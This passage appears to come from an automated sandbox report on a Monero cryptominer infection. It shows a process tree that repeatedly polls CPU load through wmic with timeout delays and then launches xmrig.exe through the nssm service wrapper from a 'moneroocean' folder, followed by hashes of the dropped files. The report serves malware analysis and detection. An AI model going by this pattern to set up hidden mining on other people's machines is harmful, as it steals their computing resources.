C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2096
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:316
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1548
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4568
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2580
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2944
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1204
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3340
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4144
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4612
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1904
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1920
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1380
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5080
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3216
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2652
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4960
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1992
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3324
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1384
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2104
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5008
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2296
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:896
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4704
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:736
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4680
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4756
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3024
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1464
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5076
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5112
-
-
-
C:\Users\Admin\moneroocean\nssm.exeC:\Users\Admin\moneroocean\nssm.exe1⤵
- Executes dropped EXE
PID:3344 -
C:\Users\Admin\moneroocean\xmrig.exe"C:\Users\Admin\moneroocean\xmrig.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:4580
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
2KB
MD52f57fde6b33e89a63cf0dfdd6e60a351
SHA1445bf1b07223a04f8a159581a3d37d630273010f
SHA2563b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
SHA51242857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
-
Filesize
1KB
MD55b5352c55a8e79ac8de4be3202d496a1
SHA14a263d9e36e5ef972e4b19035cae169e1df6459c
SHA256eff52a77e2fd653199c31162fbd5557a83995ef0e6e0570bf6495d1b5386b3b8
SHA512c4e5e245c427bc6f9cc95ae80efbd46fd432bea5a4f9366332b1850d833316e6f4eab0e25259b2ea39c40724dcae91ba748234cb1a3cf95b38d8fed162741d63
-
Filesize
1KB
MD5633da34a38638896c9a56c65a984d48a
SHA11ecc48e2ec10396bbe8972facf94a28d4a20635b
SHA2562fa8e367aeb35f24f88785d48e2058b217aa3479e61c65d25a94be0d73c98dfa
SHA51279ee129be3599bb324d25e6c58c2b685499cb401d24860431dead811cc70841d892a24554398e65dc4e47e997e2e2c569d4f3a7cf38cedd36088897314e7d1fe
-
Filesize
1KB
MD5e19379fa13008a264b8801e2cbb9f150
SHA1d7fe55300709fa03accb2847278d9047e1b22fd7
SHA256f3a21bb5091d1fab430c4fa097dac868cb674c5b3768678fe9c0ef81b920cc72
SHA51264e3ff9b8fa46eb2fd8165d23538ffe03fb5c5096f77a800763c17795df0a6b58062b14f0807c24e73b6721fb78eee86b785e87f75a7f0ed55eda0f33811b712
-
Filesize
1KB
MD5c15aebf2b4c8b24eae2ff87622d00f0c
SHA1bd029551cc24b2cfb556c4bb4452a654665e82d8
SHA25654b8636f970908bf4f36d8db1af07e73a493c9423a67aad0806737f49297a02b
SHA512d1fbc4378aff78624501fe50128f6b57e0ea3edcee053f5821b06f87a468618a065adf106b4c92fdb0e2e3063b3db12263f86eff681fcbe5e2292f74692319ef
-
Filesize
1KB
MD586e9dd7fb5d0fecf6cf1b9ffd958a27b
SHA130cfcc3932aea0f3486468b676d3139692c19310
SHA2562eb16e7a9abee07164a531271a173d25e4353ddbbabdfcebdd73de7ebc10025e
SHA51207e7a8ae855c977c0a4be7428b48676c509825f511f9c1e58b5e677fc2157f219b6c69d29ffe9cc69a2ab2e1bdb67722a527eeff9c510218ae9dbab02a7ada97
-
Filesize
1KB
MD5b6b6c6f07e021373c2d0ae3798616196
SHA136f7c692c64a85071d8d43568ffd7144755e4308
SHA256221ef032a72bd3f9f81f32a035486f06e79185194488696957e0916aa76c5509
SHA512ab404f282f14d97aaaed80cf6df2e5b692d2c7777b739159edb37e8dee3bc74cfe7baacfec6aa55aaeb448c9a0acc8b6d76c680c1dd0e520ba2a72f5e995adeb
-
Filesize
64B
MD536e94b60579903b5c7a37115144883f3
SHA11d81f26951503648524d28ceaa535a3b7bb828d1
SHA256de3fdc503bd6b8664379b6c533ebb0be003739c9edce0f239ea5f93ff45c8892
SHA5122d7e8fcc43206aa1aee98a6869e0fb7e370dd4a8f7f2e78f48c345e66e4955e8774f59c05473373b8d235b2f9a96753d5797c0cd0943ff772484a4b3be0974a6
-
Filesize
1KB
MD5a5c074e56305e761d7cbc42993300e1c
SHA139b2e23ba5c56b4f332b3607df056d8df23555bf
SHA256e75b17396d67c1520afbde5ecf8b0ccda65f7833c2e7e76e3fddbbb69235d953
SHA512c63d298fc3ab096d9baff606642b4a9c98a707150192191f4a6c5feb81a907495b384760d11cecbff904c486328072548ac76884f14c032c0c1ae0ca640cb5e8
-
Filesize
1KB
MD579c783b1319e067aef4c7246d7bd2155
SHA1c93711feab6ddeabc4a76515d5230e2e1d8a5089
SHA2567f14e7ac1a9e1f7226b25493dd7883fe3c94be2b79722322db5988d7472e8aef
SHA5127abe4c73b7029b82639a680f5fa8e247cfa4f1b6b9b9c4899f5ef9ca984e063675fd161c3e7cc5fbd1948ab5ed354ece6b95d5703f7db8eea8fa525c8d827e21
-
Filesize
1KB
MD50f8fc30243fcd5789756d082d0ee393f
SHA115b5952440e1225487d4c7f87675bb4c424a26b9
SHA256d3d842fda1d9983a270a9d2eea6cac990cf0d76df4446c43cd3c9f9ef0265ac7
SHA51217b13bf01b748d73c7e814a068bed50e6e59e39a4cec9054f6ea30fc1702e232d50c5476d3cc7b33b505246a8020deb848044ffd3e309a959616317f4bfd5cc5
-
Filesize
64B
MD52b1197120326a33663f426ba4a827059
SHA13a37f3a77ced744194e8aed477b592110fd3a480
SHA256c109609b2c0e5d85d63db58f76be777d61689e24fda709fe79aac97d76aae906
SHA51224fcf75626289b9429ddc69f52b1a02f20a2493de9e32d34aeecf8b66230058cac93115782ee5b32232a1705443edffb9d18ab2487be807b310104a7053f0146
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
14KB
MD5623f6006f683afdb4b7406e3a4ec35bf
SHA1f63f03d7338317224726eba368f1a045fa2142d7
SHA25621d6e0b0e8135a929a77f48e00d286bfa4fc2d749a61529e559b8a5ceb63e47b
SHA512df7ae1e436be99bbf9ec7fe1fb745c9e2dba6b99e24019b5b1f78786198f1aed465575a829e9b8141bc92f0a4c4269e140228b4335f9fa724a60f1330ad6d3ab
-
Filesize
2KB
MD5725d38d9eeadc9c2691063936b01f9ec
SHA1153fd5bd55cfd845516562291a7ab867d68145b5
SHA2560df3cdd812a582b5ddf5c8019fe7aecf03edb5760f4cf2d0c81ba73590a2ec43
SHA512fe2758ddaa974696c733367d479dc54695ee1f177275f3b26d575b3c27b8c968b6bab0ce1e5b715e6513d1f39d880462b3d8cc542507f2eeae531a9a6d337658
-
Filesize
2KB
MD564cafb884608c751a2bccaca7c582e0f
SHA1924f71ecb4903ab63a13a125e62fd6e5f5d20cb2
SHA2563250e852f2fb3e61bd0642d92f1decac666777da7c4d59d6270ee49fc856151b
SHA512ddd68d3d13bd65f926f6be67ac891c143d6e282ee955871382452f2627ca42ed54e7363d83651b904cdf8054bc1d12a02becd44ac1b5cdc98ac42fc7ebfe97a0
-
Filesize
2KB
MD585cf29f37f07f28e775a37844227c3a1
SHA1231c2f9f27c8805913c4c2912d40223fc0b27232
SHA256e2a7bbe5e94cef8789a36aa5cf35f60ed4ebe5841f8c288fbceb902b6d9d635f
SHA51210d2a4a76b94e990d4c5c770c5ac6b8ea5c1233437cf82e4a89ffaa0ef43f8f58cb28a656025250e2e2f3daa774b205bde54c30c17a00da50bb322965fd9bd4d
-
Filesize
2KB
MD508709e43ed8adf72768ec98c78a60ef3
SHA139225bf9cc45bee5204ba651365adf1f38e91000
SHA2562bf498569b6138d495edc627d4833f3f492de26e49bb384d57ac55efa712be40
SHA5121c8623ab6273ad52ad682606ce1bf38fed2792d6329441fd2f83463f2bc5b80e65daa826820a097e6c2ec7eade75189bbd64bdf35243c0988e5ceee0b713c92a
-
Filesize
2KB
MD5abed5546a02a8c03e0d0946e6c1577f8
SHA1009f97296fe0cc5f854c364d6ecdb51bc120ce03
SHA25696068f09d935a5f4857b838e5e1f77e800d7fe68452e62f2cb5ff6fb17e081a7
SHA51259a83471c7590b3151b861435f258a8ec33ab32437585b4f3315d3602b51b898e35a331accf55de9a9af9c31b25172f0e7b45c5a1eab069f6711bf7a89732b33
-
Filesize
2KB
MD5d4f8a13f8c90e2b3b2e7d30a553df39c
SHA15c5303ef682ffcd31e57d1abd900ba5b637d51e4
SHA256f7fc5b53e709adc1f4116ff47656f7262d7fb2859a100b3e3a5568453485649a
SHA51268b0b59a732fecc8b345fa0429039d36bc3031ab65198e4d3783a5c16fa768bb6562131c1db58d00ad9c4af7fd8d77aed3c2150930663280a6bbd635ba5831bd
-
Filesize
2KB
MD5c9ef9c214996db3d88f571226910c5d5
SHA1420ba30247b1e09f706557a7704a1ebee5d3165c
SHA256fa55a24dccbf28309642d958cbb73f5053e3a56baa0eda22d4581e0151f5f7c1
SHA512de91ef4268e67c4fa8d7216637bd9ca69ea33b108352675c954d4719d2d58b9414df78c6ebc8f622fcfbeda4ad5f981c2a17a48f7eeae8626cefe5b6894ec68d
-
Filesize
2KB
MD55dbcd01a5064468933e394d3bee2ed7a
SHA1138d5937ec96adf1f284329d25e11e640795e047
SHA2563e902182bae847717293811c1f5c2b39c09e3f996d2e7f1cc7c5d86c3455d2fd
SHA512cc285a87beb0348846d1d1d3a3838a83d04e892ff8f366e37ab030bb13d9034c7d3771c6366ab6492bedfb593d360c5e6a40c5065d403b4149a54a5f48ab7696
-
Filesize
360KB
MD51136efb1a46d1f2d508162387f30dc4d
SHA1f280858dcfefabc1a9a006a57f6b266a5d1fde8e
SHA256eee9c44c29c2be011f1f1e43bb8c3fca888cb81053022ec5a0060035de16d848
SHA51243b31f600196eaf05e1a40d7a6e14d4c48fc6e55aca32c641086f31d6272d4afb294a1d214e071d5a8cce683a4a88b66a6914d969b40cec55ad88fde4077d3f5
-
Filesize
9.0MB
MD59ee2c39700819e5daab85785cac24ae1
SHA19b5156697983b2bdbc4fff0607fadbfda30c9b3b
SHA256e7c13a06672837a2ae40c21b4a1c8080d019d958c4a3d44507283189f91842e3
SHA51247d81ff829970c903f15a791b2c31cb0c6f9ed45fdb1f329c786ee21b0d1d6cd2099edb9f930824caceffcc936e222503a0e2c7c6253718a65a5239c6c88b649
-
Filesize
135KB
MD57ad31e7d91cc3e805dbc8f0615f713c1
SHA19f3801749a0a68ca733f5250a994dea23271d5c3
SHA2565b12c3838e47f7bc6e5388408a1701eb12c4bbfcd9c19efd418781304590d201
SHA512d7d947bfa40d6426d8bc4fb30db7b0b4209284af06d6db942e808cc959997cf23523ffef6c44b640f3d8dbe8386ebdc041d0ecb5b74e65af2c2d423df5396260
-
Filesize
3.5MB
MD5640be21102a295874403dc35b85d09eb
SHA1e8f02b3b8c0afcdd435a7595ad21889e8a1ab0e4
SHA256ed33e294d53a50a1778ddb7dca83032e9462127fce6344de2e5d6be1cd01e64b
SHA512ece0dfe12624d5892b94d0da437848d71b16f7c57c427f0b6c6baf757b9744f9e3959f1f80889ffefcb67a755d8bd7a7a63328a29ac9c657ba04bbdca3fea83e